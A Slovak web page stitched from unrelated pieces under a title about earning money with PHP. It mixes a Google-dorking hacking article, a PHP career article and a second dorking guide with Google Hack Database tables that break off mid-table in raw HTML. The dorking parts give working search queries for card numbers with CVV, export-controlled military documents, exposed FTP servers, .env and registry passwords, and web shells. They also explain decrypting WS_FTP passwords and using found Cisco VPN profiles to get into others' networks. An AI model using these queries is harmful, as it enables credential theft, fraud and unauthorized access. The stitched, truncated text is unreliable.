Inurl php http aké zárobky. Ako zarobiť peniaze znalosťou PHP? Ako môže php programátor zarobiť dobré peniaze doma?

Získanie súkromných údajov nemusí vždy znamenať hacknutie – niekedy sú zverejnené aj verejne. Znalosť nastavení Google a trocha vynaliezavosti vám umožní nájsť veľa zaujímavých vecí – od čísel kreditných kariet až po dokumenty FBI.

POZOR

Všetky informácie sú poskytované len na informačné účely. Redakcia ani autor nezodpovedajú za prípadné škody spôsobené materiálmi tohto článku.

Dnes je všetko pripojené k internetu, s minimálnym záujmom o obmedzenie prístupu. Preto sa mnohé súkromné ​​údaje stávajú korisťou vyhľadávačov. Spider roboty sa už neobmedzujú len na webové stránky, ale indexujú všetok obsah dostupný na internete a neustále pridávajú neverejné informácie do svojich databáz. Zistiť tieto tajomstvá je jednoduché – stačí sa vedieť na ne opýtať.

Hľadajú sa súbory

V schopných rukách Google rýchlo nájde všetko, čo sa nenachádza na internete, napríklad osobné informácie a súbory na oficiálne použitie. Často sú skryté ako kľúč pod kobercom: neexistujú žiadne skutočné obmedzenia prístupu, údaje jednoducho ležia na zadnej strane stránky, kam nevedú žiadne odkazy. Štandardné webové rozhranie Google poskytuje len základné pokročilé nastavenia vyhľadávania, no aj tie budú postačovať.

Vyhľadávanie Google môžete obmedziť na konkrétny typ súboru pomocou dvoch operátorov: filetype a ext . Prvý určuje formát, ktorý vyhľadávač určil z názvu súboru, druhý určuje príponu súboru bez ohľadu na jeho interný obsah. Pri vyhľadávaní v oboch prípadoch stačí zadať príponu. Spočiatku bolo vhodné použiť operátor ext v prípadoch, keď súbor nemal špecifické vlastnosti formátu (napríklad na vyhľadávanie konfiguračných súborov ini a cfg, ktoré by mohli obsahovať čokoľvek). Teraz sa algoritmy Google zmenili a medzi operátormi nie je viditeľný rozdiel – vo väčšine prípadov sú výsledky rovnaké.


Filtrovanie výsledkov

Google predvolene hľadá slová a vo všeobecnosti akékoľvek zadané znaky vo všetkých súboroch na indexovaných stránkach. Oblasť vyhľadávania môžete obmedziť doménou najvyššej úrovne, špecifickou stránkou alebo umiestnením sekvencie vyhľadávania v samotných súboroch. Pre prvé dve možnosti použite operátor stránky, za ktorým nasleduje názov domény alebo vybranej stránky. V treťom prípade vám celý súbor operátorov umožňuje vyhľadávať informácie v poliach služieb a metadátach. Napríklad allinurl nájde daný v tele samotných odkazov, allinanchor - v texte vybavenom tagom , allintitle - v názvoch stránok, allintext - v tele stránok.

Pre každého operátora existuje odľahčená verzia s kratším názvom (bez predpony all). Rozdiel je v tom, že allinurl nájde odkazy so všetkými slovami a inurl nájde odkazy iba s prvým z nich. Druhé a ďalšie slová z dopytu sa môžu objaviť kdekoľvek na webových stránkach. Operátor inurl sa tiež líši od iného operátora s podobným významom – site. Prvý tiež umožňuje nájsť ľubovoľnú sekvenciu znakov v odkaze na hľadaný dokument (napríklad /cgi-bin/), čo sa široko používa na nájdenie komponentov so známymi zraniteľnosťami.

Skúsme to v praxi. Vezmeme allintextový filter a zo žiadosti vytvoríme zoznam čísel a overovacích kódov kreditných kariet, ktorých platnosť vyprší až o dva roky (alebo keď ich majiteľov omrzí kŕmiť všetkých).

Allintext: číslo karty dátum vypršania platnosti /2017 cvv

Keď sa v správach dočítate, že sa mladý hacker „nabúral na servery“ Pentagonu alebo NASA, pričom kradol utajované informácie, vo väčšine prípadov hovoríme práve o takejto základnej technike používania Google. Predpokladajme, že nás zaujíma zoznam zamestnancov NASA a ich kontaktné informácie. Takýto zoznam je určite dostupný v elektronickej podobe. Pre pohodlie alebo kvôli prehliadnutiu môže byť aj na samotnej webovej stránke organizácie. Je logické, že v tomto prípade naň nebudú žiadne odkazy, keďže je určený na interné použitie. Aké slová môžu byť v takomto súbore? Minimálne - pole „adresa“. Testovanie všetkých týchto predpokladov je jednoduché.


Inurl:nasa.gov filetype:xlsx "adresa"


Využívame byrokraciu

Takéto nálezy sú príjemnou záležitosťou. Skutočne solídny úlovok poskytuje detailnejšia znalosť operátorov Google pre webmasterov, samotnej Siete a zvláštností štruktúry hľadaného. Ak poznáte podrobnosti, môžete ľahko filtrovať výsledky a spresniť vlastnosti potrebných súborov, aby ste vo zvyšku získali skutočne cenné údaje. Je smiešne, že byrokracia tu prichádza na pomoc. Vytvára štandardné formulácie, ktoré sú vhodné na vyhľadávanie tajných informácií, ktoré náhodne unikli na internet.

Napríklad pečiatka vyhlásenia o distribúcii, ktorú vyžaduje ministerstvo obrany USA, znamená štandardizované obmedzenia distribúcie dokumentu. Písmeno A označuje verejné správy, v ktorých nie je nič tajné; B - určené len na interné použitie, C - prísne dôverné a tak ďalej až do F. Samostatne vyniká písmeno X, ktoré označuje obzvlášť cenné informácie predstavujúce štátne tajomstvo najvyššej úrovne. Nechajte tých, ktorí to majú robiť v službe, hľadajú takéto dokumenty a my sa obmedzíme na súbory s písmenom C. Podľa smernice DoDI 5230.24 je toto označenie priradené dokumentom obsahujúcim popis kritických technológií, ktoré spadajú pod kontrolu exportu . Takéto starostlivo chránené informácie môžete nájsť na stránkach najvyššej úrovne domény.mil, pridelenej americkej armáde.

"VÝKAZ DISTRIBÚCIE C" inurl:navy.mil

Je veľmi výhodné, že doména .mil obsahuje iba stránky Ministerstva obrany USA a jeho zmluvných organizácií. Výsledky vyhľadávania s obmedzením domény sú mimoriadne čisté a názvy hovoria samy za seba. Hľadanie ruských tajomstiev týmto spôsobom je prakticky zbytočné: v doménach.ru a.rf vládne chaos a názvy mnohých zbraňových systémov znejú ako botanické (PP „Kiparis“, samohybné delá „Akatsia“) alebo dokonca báječné ( TOS „Buratino“).


Pozorným preštudovaním akéhokoľvek dokumentu z lokality v doméne .mil môžete vidieť ďalšie značky na spresnenie vyhľadávania. Napríklad odkaz na exportné obmedzenia „Sec 2751“, ktorý je vhodný aj na vyhľadávanie zaujímavých technických informácií. Z času na čas je odstránený z oficiálnych stránok, kde sa kedysi objavil, takže ak nemôžete sledovať zaujímavý odkaz vo výsledkoch vyhľadávania, použite vyrovnávaciu pamäť Google (operátor vyrovnávacej pamäte) alebo stránku Internet Archive.

Stúpanie do oblakov

Okrem náhodne odtajnených vládnych dokumentov sa vo vyrovnávacej pamäti Google občas objavia aj odkazy na osobné súbory z Dropboxu a iných služieb na ukladanie údajov, ktoré vytvárajú „súkromné“ odkazy na verejne publikované údaje. Ešte horšie je to s alternatívnymi a domácimi službami. Napríklad nasledujúci dotaz nájde údaje pre všetkých zákazníkov spoločnosti Verizon, ktorí majú nainštalovaný server FTP a aktívne používajú svoj smerovač.

Allinurl:ftp://verizon.net

Takýchto šikovných ľudí je teraz viac ako štyridsaťtisíc a na jar 2015 ich bolo oveľa viac. Namiesto Verizon.net môžete nahradiť meno ktoréhokoľvek známeho poskytovateľa a čím je slávnejší, tým väčší môže byť úlovok. Prostredníctvom vstavaného servera FTP môžete vidieť súbory na externom úložnom zariadení pripojenom k ​​smerovaču. Zvyčajne ide o NAS na prácu na diaľku, osobný cloud alebo nejaký druh sťahovania súborov typu peer-to-peer. Všetok obsah takýchto médií je indexovaný spoločnosťou Google a inými vyhľadávacími nástrojmi, takže k súborom uloženým na externých diskoch máte prístup prostredníctvom priameho odkazu.

Pri pohľade na konfigurácie

Pred rozšírenou migráciou do cloudu vládli ako vzdialené úložisko jednoduché FTP servery, ktoré mali tiež veľa zraniteľností. Mnohé z nich sú aktuálne aj dnes. Napríklad populárny program WS_FTP Professional ukladá konfiguračné údaje, používateľské účty a heslá do súboru ws_ftp.ini. Je ľahké ho nájsť a prečítať, pretože všetky záznamy sú uložené v textovom formáte a heslá sú po minimálnom zmätku šifrované pomocou algoritmu Triple DES. Vo väčšine verzií stačí zahodiť prvý bajt.

Takéto heslá je ľahké dešifrovať pomocou nástroja WS_FTP Password Decryptor alebo bezplatnej webovej služby.

Keď hovoríme o hacknutí ľubovoľnej webovej stránky, zvyčajne majú na mysli získanie hesla z protokolov a záloh konfiguračných súborov CMS alebo aplikácií elektronického obchodu. Ak poznáte ich typickú štruktúru, môžete ľahko uviesť kľúčové slová. Riadky ako tie, ktoré sa nachádzajú v ws_ftp.ini, sú extrémne bežné. Napríklad v Drupale a PrestaShope je vždy identifikátor používateľa (UID) a príslušné heslo (pwd) a všetky informácie sú uložené v súboroch s príponou .inc. Môžete ich vyhľadať nasledovne:

"pwd=" "UID=" ext:inc

Odhalenie hesiel DBMS

V konfiguračných súboroch serverov SQL sú mená používateľov a e-mailové adresy uložené ako čistý text a namiesto hesiel sú zapísané ich MD5 hash. Presne povedané, nie je možné ich dešifrovať, ale môžete nájsť zhodu medzi známymi pármi hash-heslo.

Stále existujú DBMS, ktoré ani nepoužívajú hashovanie hesiel. Konfiguračné súbory ktoréhokoľvek z nich je možné jednoducho zobraziť v prehliadači.

Intext:DB_PASSWORD filetype:env

S príchodom Windows serverov miesto konfiguračných súborov čiastočne zabral register. Presne rovnakým spôsobom môžete prehľadávať jeho vetvy, pričom ako typ súboru použijete reg. Napríklad takto:

Filetype:reg HKEY_CURRENT_USER "Heslo"=

Nezabúdajme na samozrejmé

Niekedy je možné dostať sa k utajovaným informáciám pomocou údajov, ktoré boli náhodne otvorené a dostali sa do pozornosti Googlu. Ideálnou možnosťou je nájsť si zoznam hesiel v nejakom bežnom formáte. Do textového súboru, wordového dokumentu alebo excelovskej tabuľky si informácie o účte môžu uložiť len zúfalci, no tých je vždy dosť.

Filetype:xls inurl:password

Na jednej strane existuje množstvo prostriedkov, ako takýmto incidentom predchádzať. Je potrebné špecifikovať adekvátne prístupové práva v htaccess, patchnúť CMS, nepoužívať ľavoruké skripty a zalepiť ostatné diery. Existuje aj súbor so zoznamom výnimiek robots.txt, ktorý vyhľadávacím nástrojom zakazuje indexovať súbory a adresáre v ňom uvedené. Na druhej strane, ak sa štruktúra robots.txt na niektorom serveri líši od štandardnej, hneď je jasné, čo sa na ňom snažia ukryť.

Zoznamu adresárov a súborov na ľubovoľnej stránke predchádza štandardný index. Keďže sa na účely služby musí objaviť v názve, má zmysel obmedziť jeho vyhľadávanie na operátora intitle. Zaujímavé veci sú v adresároch /admin/, /personal/, /etc/ a dokonca aj /secret/.

Zostaňte naladení na aktualizácie

Relevancia je tu mimoriadne dôležitá: staré zraniteľnosti sa uzatvárajú veľmi pomaly, ale Google a jeho výsledky vyhľadávania sa neustále menia. Existuje dokonca rozdiel medzi filtrom „poslednej sekundy“ (&tbs=qdr:s na konci adresy URL požiadavky) a filtrom „v reálnom čase“ (&tbs=qdr:1).

Časový interval dátumu poslednej aktualizácie súboru implicitne uvádza aj Google. Cez grafické webové rozhranie si môžete vybrať jedno zo štandardných období (hodina, deň, týždeň atď.) alebo nastaviť rozsah dátumov, tento spôsob však nie je vhodný pre automatizáciu.

Podľa vzhľadu panela s adresou môžete len hádať o spôsobe, ako obmedziť výstup výsledkov pomocou konštrukcie &tbs=qdr:. Písmeno y za ním určuje hranicu jedného roka (&tbs=qdr:y), m zobrazuje výsledky za posledný mesiac, w - za týždeň, d - za posledný deň, h - za poslednú hodinu, n - za minútu a s - za daj mi sek. Najnovšie výsledky, ktoré spoločnosť Google práve oznámila, sa dajú nájsť pomocou filtra &tbs=qdr:1 .

Ak potrebujete napísať šikovný skript, bude užitočné vedieť, že rozsah dátumov sa v Google nastavuje v juliánskom formáte pomocou operátora daterange. Takto môžete napríklad nájsť zoznam PDF dokumentov so slovom dôverné, stiahnutý od 1. januára do 1. júla 2015.

Dôverný typ súboru: pdf rozsah dátumov: 2457024-2457205

Rozsah je uvedený vo formáte juliánskeho dátumu bez zohľadnenia zlomkovej časti. Ručný preklad z gregoriánskeho kalendára je nepohodlný. Jednoduchšie je použiť konvertor dátumu.

Opäť zacielenie a filtrovanie

Okrem zadania ďalších operátorov vo vyhľadávacom dopyte ich možno odoslať priamo v tele odkazu. Napríklad špecifikácia filetype:pdf zodpovedá konštrukcii as_filetype=pdf . Vďaka tomu je pohodlné pýtať sa na akékoľvek vysvetlenie. Povedzme, že výstup výsledkov len z Honduraskej republiky je špecifikovaný pridaním konštrukcie cr=countryHN do URL vyhľadávania a len z mesta Bobruisk - gcs=Bobruisk. Kompletný zoznam nájdete v sekcii pre vývojárov.

Automatizačné nástroje Google sú navrhnuté tak, aby uľahčili život, no často prinášajú problémy. Napríklad mesto používateľa je určené IP adresou používateľa prostredníctvom WHOIS. Na základe týchto informácií Google nielen vyrovnáva záťaž medzi servermi, ale mení aj výsledky vyhľadávania. V závislosti od regiónu sa pre tú istú požiadavku zobrazia na prvej stránke rôzne výsledky a niektoré z nich môžu byť úplne skryté. Dvojpísmenový kód za direktívou gl=country vám pomôže cítiť sa ako kozmopolita a vyhľadávať informácie z ktorejkoľvek krajiny. Napríklad kód Holandska je NL, ale Vatikán a Severná Kórea nemajú v Google vlastný kód.

Výsledky vyhľadávania sú často neprehľadné aj po použití niekoľkých pokročilých filtrov. V tomto prípade je ľahké objasniť požiadavku pridaním niekoľkých výnimočných slov (pred každým z nich je umiestnené znamienko mínus). Napríklad bankovníctvo, mená a návody sa často používajú so slovom Osobné. Čistejšie výsledky vyhľadávania sa preto ukážu nie ako učebnicový príklad dopytu, ale spresnený:

Intitle:"Index /Personal/" -mená -náuka -banking

Posledný príklad

Sofistikovaný hacker sa vyznačuje tým, že si všetko potrebné zabezpečí sám. Napríklad VPN je pohodlná vec, ale buď drahá, alebo dočasná a s obmedzeniami. Prihlásiť sa na odber pre seba je príliš drahé. Je dobré, že existujú skupinové odbery a s pomocou Google je ľahké stať sa súčasťou skupiny. Ak to chcete urobiť, stačí nájsť konfiguračný súbor Cisco VPN, ktorý má dosť neštandardnú príponu PCF a rozpoznateľnú cestu: Program Files\Cisco Systems\VPN Client\Profiles. Jedna žiadosť a pripojíte sa napríklad k priateľskému tímu univerzity v Bonne.

Filetype:pcf vpn OR Group

INFO

Google nájde konfiguračné súbory hesiel, no mnohé z nich sú zašifrované alebo nahradené hashmi. Ak vidíte reťazce pevnej dĺžky, okamžite vyhľadajte službu dešifrovania.

Heslá sú uložené zašifrované, ale Maurice Massard už napísal program na ich dešifrovanie a poskytuje ho zadarmo cez thecampusgeeks.com.

Google vykonáva stovky rôznych typov útokov a penetračných testov. Existuje veľa možností, ktoré ovplyvňujú populárne programy, hlavné databázové formáty, početné zraniteľnosti PHP, cloudy atď. Ak budete presne vedieť, čo hľadáte, oveľa jednoduchšie nájdete informácie, ktoré potrebujete (najmä informácie, ktoré ste nechceli zverejniť). Zaujímavými nápadmi sa živí nielen Shodan, ale každá databáza indexovaných sieťových zdrojov!

Od autora: Dobrý deň, priatelia! V tomto článku si povieme niečo o programovacom jazyku PHP. Poďme zistiť, na čo sa používa, čo s ním môžete robiť a aké miesto zaujíma vo fázach vývoja webových stránok. Aj v tomto článku sa pozrieme na mnoho spôsobov, ako zarobiť peniaze vedieť programovať v PHP.

Čo je PHP a na čo slúži?

PHP je skriptovací jazyk, ktorý sa veľmi aktívne používa pri vývoji webových aplikácií. PHP je jedným z popredných jazykov používaných pri vývoji dynamických webových stránok.

PHP je programovací jazyk na strane servera. Všetky skripty napísané v tomto jazyku sa spúšťajú na serveri so stránkou. Na štúdium PHP, vývoj a ladenie webových stránok a skriptov, samozrejme, nemusíte kupovať skutočný server na internete. Na tieto účely sa používajú serverové emulátory, ktoré sa vo forme programov jednoducho nainštalujú na fungujúci počítač. A na serveri na internete (hosting) sú umiestnené hotové webové stránky a stránky s PHP skriptami. Mimochodom, takmer všetky moderné hostingy podporujú jazyk PHP.

Popularita tohto jazyka v oblasti tvorby webových stránok je určená prítomnosťou veľkého súboru vstavaných nástrojov na vývoj webových aplikácií. Tie hlavné:

automatická extrakcia parametrov POST a GET, ako aj premenných prostredia webového servera do preddefinovaných polí;

interakcia s veľkým množstvom rôznych systémov správy databáz (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape a Apache Derby, Informix, Ovrimos SQL, Lotus Notes , DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, PDO Interface);

automatické odosielanie HTTP hlavičiek;

práca so súbormi cookie a reláciami;

práca s lokálnymi a vzdialenými súbormi, soketmi;

spracovanie súborov nahraných na server;

práca s XForms.

Pozrime sa na príklad, kde na stránke beží PHP skript. Vezmite si napríklad formulár predplatného, ​​do ktorého na mnohých stránkach zadáte svoje meno a e-mail. HTML a CSS sú zodpovedné za vzhľad formulára - farby vstupných polí a tlačidiel, zmena farby tlačidla pri prejdení myšou a kliknutí naň atď. Pomocou HTML5 môžete skontrolovať správnosť údajov zadaných do formulára – napríklad, či sú správne vyplnené polia pre email alebo telefón.

A po kliknutí na tlačidlo „Prihlásiť sa na odber“ sa zavolá PHP skript, ktorý dostane údaje, ktoré ste zadali do formulára. Skript ich zaznamená do databázy, vygeneruje a odošle vám odkaz na potvrdenie prihlásenia na odber na e-mail uvedený vo formulári, skontroluje potvrdenie odberu a odošle vám nasledujúce e-maily. Všetky tieto operácie sa vykonávajú na serveri a to pomocou programovacieho jazyka PHP.

Aplikácia PHP pri tvorbe webových stránok

Ak chcete vytvoriť webovú stránku, musíte prejsť niekoľkými fázami:

Plánovanie. V tejto fáze plánujeme budúcu stránku: pre koho a prečo ju robíme, kto bude stránku navštevovať, čím ju naplníme, čo by na stránke malo byť atď.

Dizajn. Vo fáze návrhu vytvárame vzhľad stránok webu v grafickom editore.

Rozloženie. Vo fáze rozloženia vytvárame pomocou HTML a CSS stránky HTML budúcej lokality z rozložení získaných vo fáze návrhu.

Programovanie. Vo fáze programovania automatizujeme procesy práce so stránkou. Administratívnu časť stránky (admin panel) naprogramujeme tak, aby ste mohli pridávať, mazať, upravovať existujúce stránky aj pre človeka úplne neznalého tvorby webu. Programujeme tak, aby vyhľadávanie a všetky formuláre predplatného (ak existujú) na stránke fungovali. Dbáme na to, aby sa na stránke zobrazila novo pridaná stránka a v ponuke sa automaticky objavil odkaz na vytvorenú stránku. Ak stránka používa hlasovanie alebo prieskum, potom je to všetko naprogramované v PHP, vo fáze programovania.

Ak vezmeme do úvahy štádium programovania väčšej stránky, napríklad internetového obchodu, potom je tu všetko ešte širšie a zaujímavejšie. V tomto prípade pridávame nielen stránky, ale aj produkty – hlavný obsah internetového obchodu. Okrem toho musíte v administračnom paneli poskytnúť rozpis pridaných produktov do rôznych kategórií. Taktiež by malo byť možné produkt upravovať, meniť jeho popis, cenu, obrázok atď.

Internetový obchod navyše vyžaduje naprogramovanie analytického systému - aby ste v admin paneli videli, koľko objednávok bolo zadaných a zaplatených, za akú sumu a ktoré produkty boli zaplatené z ktorých kategórií atď. je možné zobraziť takéto zostavy za rôzne obdobia. Pri programovaní internetového obchodu sa často implementuje aj reporting predaja pre účtovné a daňové účely.

Preto je fáza, v ktorej sa používa programovací jazyk PHP, najdôležitejšia, časovo najdlhšia a najdrahšia a vysoko platená pri vývoji webových stránok. A keď pochopíte, ako programovať internetový obchod, budete môcť vytvárať skripty pre webovú stránku takmer akejkoľvek zložitosti.

Popularita PHP

O obľúbenosti PHP svedčí fakt, že ho používa 83,1 % všetkých stránok, kde bolo možné identifikovať programovací jazyk na strane servera.

Všetky najpopulárnejšie CMS, ktoré obsadzujú prvé miesta v hodnotení obľúbenosti (platené aj bezplatné: WordPress, Joomla, Drupal, Modx, Bitrix. Magento atď.), sú napísané v programovacom jazyku PHP.

O obľúbenosti programovacieho jazyka PHP svedčí aj množstvo vytvorených PHP frameworkov, akými sú Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 a iné. Existuje obrovské množstvo fór a veľkých komunít – pre PHP všeobecne, pre každý framework a pre každý CMS zvlášť.
Tiež dodám, že najväčšie svetové stránky, napríklad Facebook, Wikipedia, sú tiež napísané v PHP.

Ako môžete zarobiť peniaze so znalosťou PHP?

Vzhľadom na popularitu PHP je neustále vysoký dopyt po PHP programátoroch. Znalosť PHP a schopnosť programovať v tomto jazyku vám otvorí nové možnosti zárobku. Pozrime sa na tie hlavné, s ktorými sa dnes naozaj dá zarobiť:

Zarábanie peňazí vývojom skriptov. Všetky stránky sa neustále vyvíjajú a pravidelne vyžadujú písanie nových skriptov alebo vývoj dodatočných funkcií, modulov atď. V prípade takéhoto vývoja sa majitelia stránok obracajú na vývojárov PHP. Navyše v tomto prípade môžete zarobiť peniaze dvoma spôsobmi:

sledovať objednávky a nájsť nezávislého vývojára;

vytvárať nápady pre hromadné skripty. Ak máte nápad na skript, ktorý bude určite žiadaný napríklad medzi majiteľmi internetových obchodov, môžete takýto skript nezávisle vyvinúť a predať ho majiteľom internetových obchodov;

Finalizácia hotových skriptov „na objednávku“. Všetko je tu jednoduché - prevezmete úpravu alebo opravu skriptu. Ale v tomto prípade je tu nuansa - spočiatku nemusí byť scenár vytvorený veľmi dobre a jeho dolaďovanie môže trvať dlhšie ako písanie scenára od začiatku. Ak teda využívate tento spôsob zarábania peňazí, na začiatku si veľmi pozorne pozerajte, čo budete upravovať a dopĺňať.

Vývoj pluginov pre CMS. Pri tejto metóde je všetko rovnaké ako pri zarábaní peňazí zo skriptov. Webové stránky vytvorené na pripravenom CMS často vyžadujú napísanie nejakého pluginu, doplnku alebo rozšírenia. A peniaze tu môžete zarobiť dvoma spôsobmi:

sledovať objednávky na vývoj zásuvných modulov, doplnkov a rozšírení na voľnej nohe;

vyvinúť a predávať hromadný doplnok, ktorý bude určite žiadaný na väčšine stránok;

Vlastné a spoločné projekty. Ak máte nápad na internetový projekt (startup), napríklad nápad na užitočnú službu alebo aplikáciu, ktorá by vyriešila konkrétny problém, tak sa môžete pustiť do jeho realizácie. V počiatočnom štádiu to môže byť dokonca len ako koníček popri hlavnej práci. Potom, keď bude jasné, že koníček prerastá do veľkého projektu, bude sa mu môcť venovať viac.

Tvorba dynamických webových stránok a motorov pre nich. Dobré peniaze môžete zarobiť aj vývojom webových stránok na mieru, prácou na voľnej nohe alebo vo webovom štúdiu.

Vytváranie webových stránok pre seba. Môžete si vytvoriť webovú stránku pre seba, naplniť ju užitočným obsahom - a keď bude mať stránka dostatočný počet návštevníkov, začnite zarábať peniaze umiestnením platenej reklamy na ňu alebo propagáciou niekoho produktov prostredníctvom pridružených programov.

Myslím, že mnohí z vás si mysleli, že všetky vyššie uvedené spôsoby zarábania peňazí sa dajú kombinovať. A je to správne! Môžete si vytvoriť webovú stránku pre seba a pasívne zarábať peniaze predajom reklamy z nej, plus vytvoriť skript alebo plugin a predávať ho na špecializovaných stránkach, zarábať na autopilotovi z každého predaja a zároveň môžete stále pracovať na webe štúdio. Prečo nie? Samozrejme môžete!

Koľko môže zarobiť vývojár PHP?

Pri zárobkoch PHP programátorov je všetko individuálne. Veľa tu závisí od toho, kde pracovať, ako pracovať, na akej úrovni vedomostí, aké skúsenosti, kvalifikácie, aké súvisiace dodatočné znalosti má vývojár atď. Preto tu v zásade nemôže existovať žiadny presný údaj. Môžeme sa ale pozrieť na to, aké platy ponúkajú pri hľadaní PHP programátorov vo webovom štúdiu a koľko sú ochotní zaplatiť za projekt na burzách na voľnej nohe.

Obrázok nižšie zobrazuje navrhovaný plat pre PHP programátorov vo webovom štúdiu. Navyše, toto je plat pre PHP programátorov bez pracovných skúseností:

Ak máte pracovné skúsenosti, môžete zarobiť oveľa viac. Nižšie sú uvedené platy ponúkané skúseným PHP programátorom.

A dnes si môžete zarobiť slušné peniaze aj na voľnej nohe:

Záver

PHP je najobľúbenejší programovací jazyk medzi webovými vývojármi. Prevažná väčšina všetkých webových stránok na internete je napísaná v PHP. So znalosťami a schopnosťou rozvíjať sa v tomto programovacom jazyku si môžete zarobiť pekné peniaze a možností zarábania je veľa – od práce vo webovom štúdiu až po vývoj vlastného projektu alebo startupu.

Akékoľvek hľadanie slabých miest na webových zdrojoch začína prieskumom a zhromažďovaním informácií.
Inteligencia môže byť buď aktívna – hrubá sila súborov a adresárov stránky, spúšťanie skenerov zraniteľnosti, manuálne prehliadanie stránky, alebo pasívna – vyhľadávanie informácií v rôznych vyhľadávačoch. Niekedy sa stáva, že sa o zraniteľnosti dozvie ešte pred otvorením prvej stránky webu.

Ako je to možné?
Vyhľadávacie roboty, neustále sa potulujúce po internete, okrem informácií užitočných pre bežného používateľa často zaznamenávajú aj veci, ktoré môžu útočníci použiť na útok na webový zdroj. Napríklad chyby skriptov a súbory s citlivými informáciami (od konfiguračných súborov a protokolov až po súbory s autentifikačnými údajmi a zálohami databáz).
Z pohľadu vyhľadávacieho robota je chybové hlásenie o vykonaní sql dotazu obyčajný text, neoddeliteľný napríklad od popisu produktov na stránke. Ak zrazu vyhľadávací robot narazí na súbor s príponou .sql, ktorý z nejakého dôvodu skončil v pracovnom priečinku stránky, bude vnímaný ako súčasť obsahu stránky a bude tiež indexovaný (prípadne vrátane hesiel v ňom uvedené).

Takéto informácie je možné nájsť pomocou silných, často jedinečných kľúčových slov, ktoré pomáhajú oddeliť „zraniteľné stránky“ od stránok, ktoré neobsahujú zraniteľné miesta.
Na exploit-db.com existuje obrovská databáza špeciálnych dopytov pomocou kľúčových slov (tzv. dorks) a je známa ako Google Hack Database.

Prečo google?
Dorky sú primárne zamerané na Google z dvoch dôvodov:
− najflexibilnejšia syntax kľúčových slov (uvedených v tabuľke 1) a špeciálnych znakov (uvedených v tabuľke 2);
− index Google je ešte úplnejší ako index iných vyhľadávacích nástrojov;

Tabuľka 1 – Hlavné kľúčové slová Google

Kľúčové slovo
Význam
Príklad
stránky
Hľadajte iba na zadanej stránke. Zohľadňuje iba adresu URL
site:somesite.ru – nájde všetky stránky na danej doméne a subdoménach
inurl
Vyhľadávajte podľa slov prítomných v uri. Na rozdiel od kl. slová „site“, hľadá zhody za názvom lokality
inurl:news - nájde všetky stránky, kde sa dané slovo vyskytuje v uri
intext
Hľadajte v tele stránky
intext:"dopravné zápchy" - úplne podobné bežnej požiadavke na "dopravné zápchy"
titulok
Hľadajte v názve stránky. Text medzi značkami <br></td> <td width="214">intitle:”index of” – nájde všetky stránky s výpisom adresárov <br></td> </tr><tr><td width="214">ext <br></td> <td width="214">Vyhľadajte stránky so zadanou príponou <br></td> <td width="214">ext:pdf – nájde všetky súbory PDF <br></td> </tr><tr><td width="214">typ súboru <br></td> <td width="214">V súčasnosti úplne podobný triede. slovo "ext" <br></td> <td width="214">filetype:pdf - podobný <br></td> </tr><tr><td width="214">súvisiace <br></td> <td width="214">Vyhľadajte stránky s podobnou tematikou <br></td> <td width="214">related:google.ru - zobrazí jeho analógy <br></td> </tr><tr><td width="214">odkaz <br></td> <td width="214">Vyhľadajte stránky, ktoré na to odkazujú <br></td> <td width="214">link:somesite.ru - nájde všetky stránky, ktoré majú na to odkaz <br></td> </tr><tr><td width="214">definovať <br></td> <td width="214">Zobraziť definíciu slova <br></td> <td width="214">define:0day - definícia pojmu <br></td> </tr><tr><td width="214">cache <br></td> <td width="214">Zobraziť obsah stránky vo vyrovnávacej pamäti (ak existuje) <br></td> <td width="214">cache:google.com – otvorí stránku uloženú vo vyrovnávacej pamäti <br></td> </tr></tbody></table><p>Tabuľka 2 – Špeciálne znaky pre dopyty Google <br></p><table><tbody><tr><td width="214"><b>Symbol</b><br></td> <td width="214"><b>Význam</b><br></td> <td width="214"><b>Príklad</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Presná fráza <br></td> <td width="214">intitle:"Konfiguračná stránka smerovača RouterOS" - vyhľadajte smerovače <br></td> </tr><tr><td width="214">*<br></td> <td width="214">Akýkoľvek text <br></td> <td width="214">inurl: “bitrix*mcart” – vyhľadávanie stránok na bitrixe so zraniteľným modulom mcart <br></td> </tr><tr><td width="214">.<br></td> <td width="214">Akýkoľvek charakter <br></td> <td width="214">Index.of - podobný indexu požiadavky <br></td> </tr><tr><td width="214">-<br></td> <td width="214">Odstrániť slovo <br></td> <td width="214">error -warning - zobrazí všetky stránky, ktoré majú chybu, ale žiadne upozornenie <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Rozsah <br></td> <td width="214">cve 2006..2016 - zobraziť zraniteľnosti podľa rokov počnúc rokom 2006 <br></td> </tr><tr><td width="214">|<br></td> <td width="214">logické "alebo" <br></td> <td width="214">linux | okná - zobrazujú stránky, na ktorých sa vyskytuje prvé alebo druhé slovo <br></td> </tr></tbody></table><br>Stojí za to pochopiť, že každá požiadavka na vyhľadávací nástroj je vyhľadávanie iba podľa slov. <br>Je zbytočné hľadať na stránke metaznaky (úvodzovky, zátvorky, interpunkčné znamienka a pod.). Dokonca aj vyhľadávanie presnej frázy uvedenej v úvodzovkách je vyhľadávanie slov, po ktorom nasleduje hľadanie presnej zhody vo výsledkoch. <p>Všetky dorky z databázy Google Hack sú logicky rozdelené do 14 kategórií a sú uvedené v tabuľke 3. <br>Tabuľka 3 – Kategórie databázy Google Hack <br></p><table><tbody><tr><td width="168"><b>Kategória</b><br></td> <td width="190"><b>Čo vám umožňuje nájsť</b><br></td> <td width="284"><b>Príklad</b><br></td> </tr><tr><td width="168">Opory <br></td> <td width="190">Webové shelly, verejní správcovia súborov <br></td> <td width="284">Nájdite všetky napadnuté stránky, na ktoré sú nahrané uvedené webové shelly: <br>(intitle:"phpshell" ALEBO intitle:"c99shell" ALEBO intitle:"r57shell" ALEBO intitle:"PHP Shell" ALEBO intitle:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">Súbory obsahujúce používateľské mená <br></td> <td width="190">Súbory registra, konfiguračné súbory, protokoly, súbory obsahujúce históriu zadávaných príkazov <br></td> <td width="284">Nájdite všetky súbory databázy Registry obsahujúce informácie o účte: <br><i>filetype:reg reg +intext:“správca internetových účtov“</i><br></td> </tr><tr><td width="168">Citlivé adresáre <br></td> <td width="190">Adresáre s rôznymi informáciami (osobné dokumenty, konfigurácie 